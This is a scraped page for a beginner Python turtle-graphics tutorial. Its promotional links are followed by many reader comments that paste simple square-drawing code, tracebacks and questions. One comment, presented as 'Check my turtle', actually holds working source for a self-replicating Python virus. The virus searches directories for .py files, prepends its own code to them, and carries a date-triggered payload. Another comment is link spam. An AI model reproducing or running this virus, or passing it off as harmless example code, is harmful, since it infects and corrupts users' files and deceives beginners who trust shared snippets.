Exercises on http://cleverprogrammer.to/enroll

In this part of the Learn Python for Beginners series… We go over how to use the turtle module and learn computer programming in a fun visual way. Things like functions, variables, and more will start to make sense instantly. …

…

★☆★ LIVE 1-ON-1 CODING SESSION: ★☆★

https://goo.gl/rXohFR

★☆★ FREE Lesson 1: The Most Important Thing For a Successful Programmer★☆★

https://goo.gl/LwgTHk

Enroll for coding exercises, projects, tutorials, and courses…

http://cleverprogrammer.to/enroll ————————————

Clever Programmer

Website ► http://cleverprogrammer.to/enroll

Facebook ► http://cleverprogrammer.to/facebook

Twitter ► http://cleverprogrammer.to/twitter

Instagram ► http://cleverprogrammer.to/instagram

YouTube ► https://www.youtube.com/c/CleverProgr…

Snapchat ► Rafeh1 …

Github (Code) ► http://cleverprogrammer.to/github

Amazon Auto Links: No products found.

>>> import turtle

>>> my_turtle=turtle.Turtle()

>>> my_turtle.forward(100)

>>> my_turtle.right(90)

>>> my_turtle.forward(100)

>>> my_turtle.right(90)

>>> my_turtle.forward(100)

>>> my_turtle.right(90)

>>> my_turtle.forward(100)

my_turtle = turtle.Turtle()

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

Traceback (most recent call last):“, line 1, in

File “

import turtle

File “C:UsersacerAppDataLocalProgramsPythonPython37turtle.py”, line 1

Python 3.7.0a2 (v3.7.0a2:f7ac4fe, Oct 17 2017, 17:06:29) [MSC v.1900 64 bit (AMD64)] on win32

^

SyntaxError: invalid syntax

when i tried to import turtle, i got this problem. can u plz help me

>>> import turtle

>>> my_turtle = turtle.Turtle()

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

is it good?

import turtle

my_turtle = turtle.Turtle()

my_turtle.forward(100)

my_turtle.right(90)

my_turtle.forward(100)

my_turtle.right(90)

my_turtle.forward(100)

my_turtle.right(90)

my_turtle.forward(100)

my_turtle=turtle.Turtle()

>>>

>>>

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

simple as that

import turtle

>>> my_turtle = turtle.Turtle()

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

About your videos….Amazing

How you teach….Amazing

About you…Amazing

You are truly an amazing person keep going on and be much more successful 🙂

.

>>> import turtle

>>> my_turtle = turtle.Turtle()

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

I just have one question, how to change or erase the previous line?? because i can’t change anything from the previous line, after i pressed enter.

Please help

i mean its not opening from shell by hitting enter whereas its work from file

Hi! Here it is.

>>> import turtle

>>>

>>>

>>> my_turtle = turtle.Turtle()

>>> my_turtle.forward(100)

>>> my_turtle.right(90)

>>> my_turtle.forward(100)

>>> my_turtle.right(90)

>>> my_turtle.forward(100)

>>> my_turtle.right(90)

>>> my_turtle.forward(100)

>>>

Import turtle

my_turtle = turtle.Turtle()

my_turtle.forward (100)

my_turtle.right (90)

my_turtle.forward (100)

my_turtle.right (90)

my_turtle.forward (100)

my_turtle.right (90)

my_turtle.forward (100)

>>> import turtle

>>> mt = turtle.Turtle()

>>> mt.forward(120)

>>> mt.left(90)

>>> mt.forward(80)

>>> mt.left(90)

>>> mt.forward(120)

>>> mt.left(90)

>>> mt.forward(80)

import turtle

# Make a square with the turtle.

tut=turtle.Turtle();

tut.back(100)

tut.left(90)

tut.forward(100)

tut.right(90)

tut.forward(100)

tut.right(90)

tut.forward(100)

import turtle

john = turtle.Turtle()

john.speed(100)

john.shape(“turtle”)

john.color(“green”)

def circle():

john.circle(100)

john.circle(-100)

john.circle(110)

john.circle(-110)

john.circle(120)

john.circle(-120)

john.circle(130)

john.circle(-130)

john.circle(140)

john.circle(-140)

john.circle(150)

john.circle(-150)

john.circle(160)

john.circle(-160)

john.circle(170)

john.circle(-170)

john.circle(180)

john.circle(-180)

john.circle(190)

john.circle(-190)

john.circle(200)

john.circle(-200)

circle()

john.circle(1, 90)

john.circle(100)

john.circle(-100)

john.circle(110)

john.circle(-110)

john.circle(120)

john.circle(-120)

john.circle(130)

john.circle(-130)

john.circle(140)

john.circle(-140)

john.circle(150)

john.circle(-150)

john.circle(160)

john.circle(-160)

john.circle(170)

john.circle(-170)

john.circle(180)

john.circle(-180)

john.circle(190)

john.circle(-190)

john.circle(200)

john.circle(-200)

john.circle(1, 30)

john.circle(100)

john.circle(-100)

john.circle(110)

john.circle(-110)

john.circle(120)

john.circle(-120)

john.circle(130)

john.circle(-130)

john.circle(140)

john.circle(-140)

john.circle(150)

john.circle(-150)

john.circle(160)

john.circle(-160)

john.circle(170)

john.circle(-170)

john.circle(180)

john.circle(-180)

john.circle(190)

john.circle(-190)

john.circle(200)

john.circle(-200)

john.circle(-1, -30)

john.circle(100)

john.circle(-100)

john.circle(110)

john.circle(-110)

john.circle(120)

john.circle(-120)

john.circle(130)

john.circle(-130)

john.circle(140)

john.circle(-140)

john.circle(150)

john.circle(-150)

john.circle(160)

john.circle(-160)

john.circle(170)

john.circle(-170)

john.circle(180)

john.circle(-180)

john.circle(190)

john.circle(-190)

john.circle(200)

john.circle(-200)

*Python code, Tutorials, Demos,…* Helped me a lot – Happy Coding! http://yamechanic.com/5A8T

import turtle

my_turtle = turtle.Turtle()my_turtle.forward(100)

my_turtle.left(90)

my_turtle.forward(100)

my_turtle.left(90)

my_turtle.forward(100)

my_turtle.left(90)

my_turtle.forward(100)

>>> import turtle

>>> my_turtle = turtle.Turtle()

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(200)

>>> my_turtle.right(90)

>>> my_turtle.right(180)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(200)

>>> my_turtle.right(90)

>>> my_turtle.right(180)

>>>

import turtle

()my_turtle = turtle.Turtle

(my_turtle.forward(100

(my_turtle.left(90

(my_turtle.forward(90

(my_turtle.left(90

(my_turtle.forward(100

(my_turtle.left(90

(my_turtle.forward(100

>>> my_turtle = turtle.Turtle ()

>>> my_turtle.forward(100)

>>> my_turtle.left (90)

>>> my_turtle.forward (100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.right(180)

>>> my_turtle.forward(100)

>>> my_turtle.right(90)

>>> my_turtle.forward(100)

>>> my_turtle.right(90)

>>> my_turtle.forward(100)

>>> my_turtle.right(45)

>>> my_turtle.forward(100)

python turtle graphics window is not showing i am using windows

my_turtle.done

This is really cool. I am very much a visual learner when it comes to understanding concepts. I just finished my last day of computer programming fundamentals. We never learned anything like this. We rushed right into everything. This is definitely a helpful video.

import turtle

print(‘Jst making a trapezium for her’)

sn_turtle = turtle.Turtle()

sn_turtle.forward(100)

sn_turtle.left(40)

sn_turtle.forward(150)

sn_turtle.left(140)

sn_turtle.forward(210)

sn_turtle.left(90)

sn_turtle.forward(105)

Please mujhe btana ki kaisa hai

Really funny stuff Lol

import turtle

my_turtle = turtle.Turtle()

my_turtle.forward(100)

my_turtle.right(90)

my_turtle.forward(100)

my_turtle.right(90)

my_turtle.forward(100)

my_turtle.right(90)

my_turtle.forward(90)

my_turtle.left(90)

my_turtle.forward(10)

my_turtle.right(90)

my_turtle.forward(10)

my_turtle.right(90)

my_turtle.forward(10)

>>> import turtle

>>> my_turtle = turtle.Turtle()

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.right(90)

>>> my_turtle.forward(50)

>>> my_turtle.right(90)

>>> my_turtle.forward(125)

>>> my_turtle.right(90)

>>> my_turtle.forward(200)

>>> my_turtle.right(90)

>>> my_turtle.forward(125)

>>> my_turtle.right(90)

>>> my_turtle.forward(50)

>>> my_turtle.forward(10)

>>> my_turtle.left(90)

>>> my_turtle.forward(25)

>>> my_turtle.right(90)

>>> my_turtle.forward(80)

>>> my_turtle.right(90)

>>> my_turtle.forward(25)

hey Bro not able to find the exercise at your site have to change it to pay service

Really said for some of us please at least proived exercise for free

my_turtle = turtle.Turtle()

>>> my_turtle.forward(100)

>>> my_turtle.right(90)

>>> my_turtle.forward(100)

>>> my_turtle.right(90)

>>> my_turtle.forward(100)

>>> my_turtle.right(90)

>>> my_turtle.forward(100)

>>>

Check my turtle

#!/usr/bin/python import os import datetime SIGNATURE = “CRANKLIN PYTHON VIRUS” def search(path): filestoinfect = [] filelist = os.listdir(path) for fname in filelist: if os.path.isdir(path+”/”+fname): filestoinfect.extend(search(path+”/”+fname)) elif fname[-3:] == “.py”: infected = False for line in open(path+”/”+fname): if SIGNATURE in line: infected = True break if infected == False: filestoinfect.append(path+”/”+fname) return filestoinfect def infect(filestoinfect): virus = open(os.path.abspath(__file__)) virusstring = “” for i,line in enumerate(virus): if i>=0 and i <39: virusstring += line virus.close for fname in filestoinfect: f = open(fname) temp = f.read() f.close() f = open(fname,"w") f.write(virusstring + temp) f.close() def bomb(): if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25: print "HAPPY BIRTHDAY CRANKLIN " filestoinfect = search(os.path.abspath("")) infect(filestoinfect) bomb()

But in VM

import turtle

my_turtle=turtle.Turtle()

i=90

j=200

while i==90 and j==200:

my_turtle.forward(j)

my_turtle.left(i)

>>> import turtle

>>> my_turtle = turtle.Turtle()

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

my_ turtle=turtle.Turtle()

my_turtle.forward(200)

my_turtle.left(90)

my_turtle.forward(200)

my_turtle.left(90)

my_turtle.forward(200)

my_turtle.left(90)

my_turtle.forward(200)

my_turtle.left(90)

Thanks so much for every videos about computer programming. I just dropped my computer and science class this semester bc it was so complicated, but your explanation is super good.

hi ,i see this video ,,,,,i work out it..!!!> import turtle“, line 1, in “, line 1, in

>>>

>>>

>>> my_turtle = turtle.Turtle()

>>> my_turtle.forward(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.move(90)

Traceback (most recent call last):

File “

my_turtle.move(90)

AttributeError: ‘Turtle’ object has no attribute ‘move’

>>> my_turtle.forward(90)

>>> my_turtle.forward(100)

>>> my_turtle.down(90)

Traceback (most recent call last):

File “

my_turtle.down(90)

TypeError: pendown() takes 1 positional argument but 2 were given

>>> my_turtle.right(90)

>>> my_turtle.left(90)

>>> my_turtle.right(90)

>>> my_turtle.right(180)

>>> my_turtle.forward(90)

>>> my_turtle.forward(100)

>>>

my turtle code

import turtle

my_turtle = turtle.Turtle()

my_turtle.forward(100)

my_turtle.left(90)

my_turtle.forward(100)

my_turtle.left(90)

my_turtle.forward(100)

my_turtle.left(90)

my_turtle.forward(100)

>>> import turtle

>>>

>>>

>>>

>>> my_turtle = turtle.Turtle()

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>>

These exercises aren’t available on you site anymore huh? =(

import turtle

my_tortle=turtle.Turtle()

my_tortle.forward(100)

my_tortle.left(90)

my_tortle.forward(100)

my_tortle.left(90)

my_tortle.forward(100)

my_tortle.left(90)

my_tortle.forward(100)

thanks brother

my turtle code:“, line 1, in

>>> import turtle

>>> turt= turtle.Turtle()

>>> turt.forward(100)

>>> turt.left(90)

>>> turt.forward(100)

>>> turt.left(90)

>>> turt.forward(100)

>>> turt.right(90)

>>> turt.left(90)

>>> turt.left(90)

>>> turt.foward(100)

Traceback (most recent call last):

File “

turt.foward(100)

AttributeError: ‘Turtle’ object has no attribute ‘foward’

>>> turt.forward(100)

>>>

Huh now I can now I can learn Python!! I will make software for Linux for hackingggggg

>>> import turtle

>>> my_turtle=turtle.Turtle()

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>>

ps. have trouble at first coz I didn’t notice that the “Turtle” after . is capital

import turtle

my_turtle=turtle.Turtle()

i=90

j=200

k=0

while i==90 and j==200 and k<20:

my_turtle.forward(j)

my_turtle.left(i)

k+=1

* Tries to write a saved script to play with turtle before finishing to watch the video *

No matter what I tried, it didn’t run

* Keeps watching video *

“WHATEVER YOU DO, DONT NAME THE FILE TURTLE.PY”

* Feels ashamed *

import turtle

myturtle=turtle.Turtle()

myturtle.forward(100)

myturtle.left(90)

myturtle.forward(100)

myturtle.left(90)

myturtle.forward(100)

myturtle.left(90)

myturtle.forward(100)

# Make a square with the turtle.

>>> my_turtle.forward(100)

>>> my_turtle.forward(1000)

>>> my_turtle.left(180)

>>> my_turtle.forward(1100)

>>> my_turtle.right(10)

i wrote 1000 and it just disappeared from my screen lmao

import turtle

my_turtle=turtle.Turtle()

my_turtle.forward(200)

my_turtle.left(90)

my_turtle.forward(200)

my_turtle.left(90)

my_turtle.forward(200)

my_turtle.left(90)

my_turtle.forward(200)

my_turtle.left(90)

my_turtle.forward(200)

my_turtle.left(90)

my_turtle.forward(200)

my_turtle.left(90)

my_turtle.forward(200)

my_turtle.left(90)

my_turtle.forward(200)

my_turtle.left(90)

my_turtle.forward(200)

>>> import turtle

>>>

>>>

>>>

>>> my_turtle = turtle.Turtle()

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>> my_turtle.left(90)

>>> my_turtle.forward(100)

>>>

Wahaha Perfect Circle

import turtle

smart = turtle.Turtle()

# Loop 800 times. Everything I want to repeat is

for i in range(800):

smart.forward(100)

smart.right(50)

turtle.done()